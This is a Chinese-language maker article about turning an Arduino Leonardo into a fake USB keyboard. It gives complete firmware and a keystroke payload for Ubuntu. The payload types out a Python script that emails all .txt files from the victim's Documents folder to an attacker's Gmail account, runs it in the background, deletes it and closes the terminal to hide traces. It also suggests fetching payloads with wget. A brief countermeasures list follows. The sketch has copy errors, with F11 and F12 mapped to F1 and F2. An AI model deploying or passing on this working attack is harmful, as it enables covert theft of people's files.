0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

Arduino键盘漏洞演示及解决办法

454398 来源:工程师吴畏 2019-08-07 09:02 次阅读
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

第1步:材料

零件:

1 。 Arduino leonardo

2。 micro USB读卡器

3。SD

4。按钮(VCC,地面和信号

5。跨接电缆

6。 micro USB转USB电缆

步骤2:构建设备

之前构建指令让我们回顾一下工作原理

Arduino leonardo可以像人机界面设备(HID)一样运行,因此可以模拟鼠标和键盘。我们将使用此功能打开终端(在UBUNTU linux中)并编写一个小脚本,该脚本将访问用户主文件夹中的/Documents文件夹复制.txt文件并将其通过电子邮件发送给某人。如果您想了解更多详细信息,请查看下一步。

因为它是一个演示设备,所以事情非常简单,我们不会焊接任何东西。

构建说明

1。组装组件:

*插入arduino中的micro USB线

*将钥匙开关连接到arduino(接地,vcc和out模块)至D8)

*将读卡器连接到arduino(使用ICSP标头)。 Arduino leonardo没有将ICSP接头连接到数字引脚,因此您需要将读卡器连接到ICSP接头。您可以在此处找到ICSP的一些图纸:https://learn.sparkfun.com/tutorials/installing-an 。..。将SS引脚连接到数字引脚10

2. 获取arduino代码 :

#include “Keyboard.h”

#include “SPI.h”

#include “SD.h”

String filenameOnCard = “hack.txt”;

String sleepCommandStartingPoint = “Sleep::”;

String commandStartingPoint = “Command::”;

int delayBetweenCommands = 10;

const int buttonPin = 8;

const int chipSelect = 10;

int previousButtonState = HIGH;

void setup() {

pinMode(buttonPin, INPUT);

Serial.begin(9600);

Keyboard.begin();

if (!SD.begin(chipSelect)) {

Serial.println(“Card failed, or not present!”);

return;

}

}

void loop() {

int buttonState = digitalRead(buttonPin);

if ((buttonState != previousButtonState) && (buttonState == HIGH)) {

sdFileToKeyboard();

Serial.println(“Uploaded!”);

delay(500);

}

previousButtonState = buttonState;

}

void sdFileToKeyboard() {

File dataFile = SD.open(filenameOnCard);

if (!dataFile) {

Serial.println(“The specified filename is not present on SD card, check filenameOnCard !”);

}

String line;

while (dataFile.available()) {

line = dataFile.readStringUntil(‘ ’);

Serial.println(line);

sendToKeyboard(line);

}

dataFile.close();

}

void sendToKeyboard(String line) {

String workingLine = line;

if (workingLine.indexOf(sleepCommandStartingPoint) != -1) {

sleepFor(line);

return;

}

if (workingLine.indexOf(commandStartingPoint) == -1) {

Serial.print(“Text:”);Serial.println(line);

Keyboard.println(line);

pressEnter();

return;

}

Serial.println(“Command:”);

int charPosition = commandStartingPoint.length();

int lineLength = line.length();

workingLine += “,”;

while (workingLine != “”) {

workingLine = workingLine.substring(charPosition);

Serial.print(“WorkingLine:”);Serial.println(workingLine);

int specialCommandDelimiterPosition = workingLine.indexOf(“,”);

String command = workingLine.substring(0, specialCommandDelimiterPosition);

charPosition = specialCommandDelimiterPosition + 1;

if (command != “”) {

Serial.print(“Command found:”);Serial.println(command);

Keyboard.press(getCommandCode(command));

delay(delayBetweenCommands);

}

}

Keyboard.releaseAll();

delay(delayBetweenCommands);

}

void pressEnter() {

Keyboard.press(KEY_RETURN);

Keyboard.releaseAll();

}

void sleepFor(String line) {

int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt();

Serial.print(“Sleeping for:”);Serial.println(sleepAmount);

delay(sleepAmount);

}

char getCommandCode(String text) {

char textCharacters[2];

text.toCharArray(textCharacters, 2);

char code = textCharacters[0];

code = (text == “KEY_LEFT_CTRL”) ? KEY_LEFT_CTRL : code;

code = (text == “KEY_LEFT_SHIFT”) ? KEY_LEFT_SHIFT : code;

code = (text == “KEY_LEFT_ALT”) ? KEY_LEFT_ALT : code;

code = (text == “KEY_UP_ARROW”) ? KEY_UP_ARROW : code;

code = (text == “KEY_DOWN_ARROW”) ? KEY_DOWN_ARROW : code;

code = (text == “KEY_LEFT_ARROW”) ? KEY_LEFT_ARROW : code;

code = (text == “KEY_RIGHT_ARROW”) ? KEY_RIGHT_ARROW : code;

code = (text == “KEY_RIGHT_GUI”) ? KEY_RIGHT_GUI : code;

code = (text == “KEY_BACKSPACE”) ? KEY_BACKSPACE : code;

code = (text == “KEY_TAB”) ? KEY_TAB : code;

code = (text == “KEY_RETURN”) ? KEY_RETURN : code;

code = (text == “KEY_ESC”) ? KEY_ESC : code;

code = (text == “KEY_INSERT”) ? KEY_INSERT : code;

code = (text == “KEY_DELETE”) ? KEY_DELETE : code;

code = (text == “KEY_PAGE_UP”) ? KEY_PAGE_UP : code;

code = (text == “KEY_PAGE_DOWN”) ? KEY_PAGE_DOWN : code;

code = (text == “KEY_HOME”) ? KEY_HOME : code;

code = (text == “KEY_END”) ? KEY_END : code;

code = (text == “KEY_CAPS_LOCK”) ? KEY_CAPS_LOCK : code;

code = (text == “KEY_F1”) ? KEY_F1 : code;

code = (text == “KEY_F2”) ? KEY_F2 : code;

code = (text == “KEY_F3”) ? KEY_F3 : code;

code = (text == “KEY_F4”) ? KEY_F4 : code;

code = (text == “KEY_F5”) ? KEY_F5 : code;

code = (text == “KEY_F6”) ? KEY_F6 : code;

code = (text == “KEY_F7”) ? KEY_F7 : code;

code = (text == “KEY_F8”) ? KEY_F8 : code;

code = (text == “KEY_F9”) ? KEY_F9 : code;

code = (text == “KEY_F10”) ? KEY_F10 : code;

code = (text == “KEY_F11”) ? KEY_F1 : code;

code = (text == “KEY_F12”) ? KEY_F2 : code;

return code;

}

3。将代码上传到arduino ,请务必选择9600波特率,串口和arduino leonardo

4。 使用FAT16或FAT32格式化SD卡

5。如果您从上面克隆了github repo,复制卡上的hack.txt文件,如果不是,则下面列出了该文件:

Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,t

Sleep::500

vi hack.py

Sleep::300

Command::KEY_INSERT

import smtplib

import glob, os

from os.path import expanduser

from email.MIMEMultipart import MIMEMultipart

from email.MIMEBase import MIMEBase

from email.MIMEText import MIMEText

from email.Utils import COMMASPACE, formatdate

from email import Encoders

smtp_user = ‘sender_gmail_address’

smtp_pass = ‘sender_gmail_password’

to_address = ‘receiver_address’

scan_documents_location = ‘Documents’

subject = body = ‘Files from hacked computer’

header = ‘To :{0} From : {1} Subject : {2} ’.format(to_address, smtp_user, subject)

def sendMail(to, subject, text, files=[]):

msg = MIMEMultipart()

msg[‘From’] = smtp_user

msg[‘To’] = COMMASPACE.join(to)

msg[‘Date’] = formatdate(localtime=True)

msg[‘Subject’] = subject

msg.attach(MIMEText(text))

for file in files:

part = MIMEBase(‘application’, “octet-stream”)

part.set_payload(open(file,“rb”).read())

Encoders.encode_base64(part)

part.add_header(‘Content-Disposition’, ‘attachment; filename=“%s”’

% os.path.basename(file))

msg.attach(part)

server = smtplib.SMTP(‘smtp.gmail.com:587’)

server.starttls()

server.login(smtp_user, smtp_pass)

server.sendmail(smtp_user, to, msg.as_string())

server.quit()

sendMail([to_address], subject, body, glob.glob(“{0}/{1}/*.txt”.format(expanduser(“~”), scan_documents_location)))

Sleep::50

Command::KEY_ESC

Sleep::100

:x

Sleep::500

nohup python hack.py &

Sleep::700

rm -rf hack.py

Sleep::400

Command::KEY_LEFT_ALT,KEY_F4

的 6。修改以下内容:

smtp_user = ‘sender_email_addr’

smtp_pass = ‘sender_password’

to_address = ‘receiver_address’

并替换为您的电子邮件地址

7。 取出卡并将其插入arduino读卡器

步骤3:如何在细节中工作

攻击如何工作:

1。按下按钮后,leonardo将使用SD卡阅读器读取SD卡。卡上将显示包含按键和按键组合的特殊文件。文件名是“hack.txt”。

该文件可以包含原始文本,它将按原样传递给键盘。

它还可以包含特殊命令,如“Sleep ::”和“Command ::”。

如下所示的行:

Sleep :: 200表示200 ms的睡眠

如下所示的行

Command :: KEY_LEFT_CTRL,KEY_LEFT_ALT,t表示按住左按钮,按下左按钮,按下t按钮并全部释放

您可以在此处检查所有特殊按键:https://www.arduino .CC/EN/参考/KeyboardModif 。..

2。莱昂纳多将逐行阅读,并解释命令并模拟键盘上的键。文件“hack.txt”包含执行以下操作的键组合(对于UBUNTU linux):

a。打开一个终端(CTRL + ALT + T)

b。使用vi打开一个用于创建的python文件(写入“vi hack.py”

c。写入一个python脚本,收集文档主文件夹中的所有文本文件,并将它们发送到指定的gmail地址

d。在后台运行文件(“nohup python hack.py&”)

e。删除文件(rm -rf hack.py)

f。关闭终端(ALT + F4)

整个过程会在几秒钟内完成并且不会留下痕迹。

增强功能和故障排除

*你可能会注意到,在我打开一个终端后,我正在编写python文件。更好的方法是将它托管在某处并使用“wget some_url”命令下载它,然后将其重命名为hack.py

*我们也可以为目标操作系统下载或运行现成的漏洞利用

* wifi可以添加到模块中,黑客可以通过WIFI上传

*您可以使用arduino micro(更小)并在其上嵌入漏洞利用代码(使其更小)

限制

1。由于模拟设备(键盘和鼠标)没有任何反馈,我们不知道发出命令后会发生什么,这意味着我们需要使用延迟。例如我发出一个打开终端的命令,但我不知道它什么时候会打开,所以我需要指定一个任意的延迟来确保输入的字符不会丢失。

2。我们可能会遇到许可问题,例如无法访问USB端口或安装某些内容的权限

3。打字速度对leonardo而言并不是那么好

4。仅适用于目标操作系统(在我们的案例中为UBUNTU linux)

在下一步中将尝试找到利用此限制的方法来防止我们的计算机被黑客入侵

第4步:对策

1。禁用USB端口

2。白名单USB设备:

3。不要以root身份登录(需要密码才能安装任何东西)

4。让自己保持最新(自动更新)

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 漏洞
    +关注

    关注

    0

    文章

    205

    浏览量

    15970
  • Arduino
    +关注

    关注

    190

    文章

    6527

    浏览量

    197441
收藏 人收藏
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

    评论

    相关推荐
    热点推荐

    芯片烧录总是出错?常见 6 个问题及解决办法

    做电子生产和 SMT 贴片的朋友,经常会遇到芯片烧录不稳定、报错、漏烧、错烧等问题。今天结合我们做烧录机多年的经验,总结一下最常见的原因和解决思路,欢迎同行交流。 常见 6 个问题及解决办法: 1.
    的头像 发表于 04-10 15:30 200次阅读
    芯片烧录总是出错?常见 6 个问题及<b class='flag-5'>解决办法</b>

    curl中的TFTP实现:整数下溢导致堆内存越界读取漏洞

    漏洞概述 在 curl 的 TFTP 协议实现中发现了一个漏洞,该漏洞可能导致 curl 或使用 libcurl 的应用程序在特定条件下,向恶意的 TFTP 服务器发送超出已分配内存块边界的内存数据
    发表于 02-19 13:55

    音叉液位开关的故障解决办法

    液位开关
    华泰天科
    发布于 :2026年01月26日 14:35:48

    keil5使用中文路径安装.pack后缀报错的解决办法

    安装完成 此时首先需要在keil5文件安装路径上改正文件名 此时再次安装.pack后缀文件时可能会发现两个问题:一个是默认打开方式改变了: 解决办法是在keil5安装路径下找到
    发表于 01-22 06:50

    分析嵌入式软件代码的漏洞-代码注入

    验证数据是否良好。 为避免格式字符串的漏洞,这些规则中的第一个是最合适的; 你可以编写代码如下: printf(“%s”,str); 这样,str的内容只被视为数据。这是最不费脑子的办法,只要你能
    发表于 12-22 12:53

    MCU200T开发板报错\'Launching hello Debug\' has encountered a problem的解决办法

    problem 一般解决办法 1、查看电脑驱动问题,一般可以下载驱动精灵,更新一下电脑的驱动程序 2、重新安装一次蜂鸟驱动程序 3、因为蜂鸟调试器一代和二代有微小差别,目前最新版的调试器是v2版的,在调试老
    发表于 11-06 06:55

    调试报错:timed out waiting for debug int to clear 解决办法

    掉。 解决办法: 1. 是下载我提供的N205的mcs,然后在nuclei stduio里面下载蜂鸟v2对应的helloworld程序,记得用flashxip模式,这样可以把flash里面的内容替换成蜂鸟
    发表于 10-30 07:40

    openocd failed with code (1)的一种解决办法

    我们发现此错误是由于配置中默认文件路径有误导致的,在默认模板中,elf文件的路径中使用的是“/”,而windows系统默认文件路径是“”,所以导致elf文件无法识别而无法下载。 解决办法一是手动修改
    发表于 10-27 08:21

    VCS安装教程及常见问题和解决办法

    解决办法。 二、问题提出及相应解决办法 1、license文件过期问题 大家在网上看到的VCS安装教程中,都会附上license文件,并且告诉你如何获取Host Name等信息。 但有时获取
    发表于 10-27 07:58

    时序约束问题的解决办法

    slack 计算如下图所示: 所以 slakc 为负数时,说明路径的组合逻辑延时过长。解决办法有两个:第一个是降低时钟频率,第二个是将延时过长的组合逻辑拆成两个或者多个时钟周期执行。 无论 Setup
    发表于 10-24 09:55

    硅片超声波清洗机操作过程中常见问题及解决办法

    可能会遇到各种问题,从效率低下到机械故障,这些问题如果不及时解决,轻则影响产品质量,重则停止生产,造成巨大损失。因此,了解并掌握这些常见问题及其解决办法,是保证生
    的头像 发表于 10-21 16:50 2144次阅读
    硅片超声波清洗机操作过程中常见问题及<b class='flag-5'>解决办法</b>

    车载摄像头气密性检测仪操作常见问题及解决办法-岳信仪器

    在车载摄像头的生产与质量把控中,车载摄像头气密性检测仪发挥着至关重要的作用。然而,在实际操作过程中,常常会遇到一些问题,以下为您详细介绍常见问题及对应的解决办法。(1)检测结果不稳定检测结果不稳定
    的头像 发表于 10-17 14:30 516次阅读
    车载摄像头气密性检测仪操作常见问题及<b class='flag-5'>解决办法</b>-岳信仪器

    在学习D13的芯片配置,为什么我vscode,一堆爆红,看着好烦,有没有解决办法

    在学习D13的芯片配置,为什么我vscode,一堆爆红,看着好烦,有没有解决办法
    发表于 08-22 20:02

    单向阀气密性检测仪常见故障及解决办法

    单向阀气密性检测仪在工业生产中起着至关重要的作用,然而在使用过程中难免会出现一些故障。了解常见故障及其解决办法,能有效提高设备的使用效率和检测准确性。一、检测结果不准确故障表现检测数据波动
    的头像 发表于 06-30 14:01 763次阅读
    单向阀气密性检测仪常见故障及<b class='flag-5'>解决办法</b>

    HarmonyOS应用自定义键盘解决方案

    自定义键盘是一种替换系统默认键盘的解决方案,可实现键盘个性化交互。允许用户结合业务需求与操作习惯,对按键布局进行可视化重构、设置多功能组合键位,使输入更加便捷和舒适。在安全防护层面,自定义键盘
    的头像 发表于 06-05 14:19 2604次阅读